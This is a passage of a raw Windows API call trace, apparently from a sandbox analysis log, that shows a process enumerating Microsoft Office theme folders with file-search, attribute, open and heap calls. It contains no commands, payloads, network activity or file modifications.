(HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef19d0 [0053.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7638 [0053.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.387] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.387] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.387] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef19f0 [0053.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7740 [0053.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.388] GetLastError () returned 0x12 [0053.388] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.388] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.388] GetLastError () returned 0x12 [0053.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.388] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.388] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0053.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0053.421] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef93e0 [0053.421] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef93e0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef93e0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef93e0) returned 1 [0053.421] NtClose (Handle=0x170) returned 0x0 [0053.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.421] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1a10 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7848 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1a30 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7950 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1a50 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7a58 [0053.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1a70 [0053.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7b60 [0053.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.423] GetLastError () returned 0x12 [0053.423] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.423] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0053.423] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.424] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.424] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.424] GetLastError () returned 0x12 [0053.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.424] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.424] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0053.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0053.428] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef93e0 [0053.428] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef93e0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef93e0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef93e0) returned 1 [0053.428] NtClose (Handle=0x17c) returned 0x0 [0053.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.428] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.428] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1a90 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7c68 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 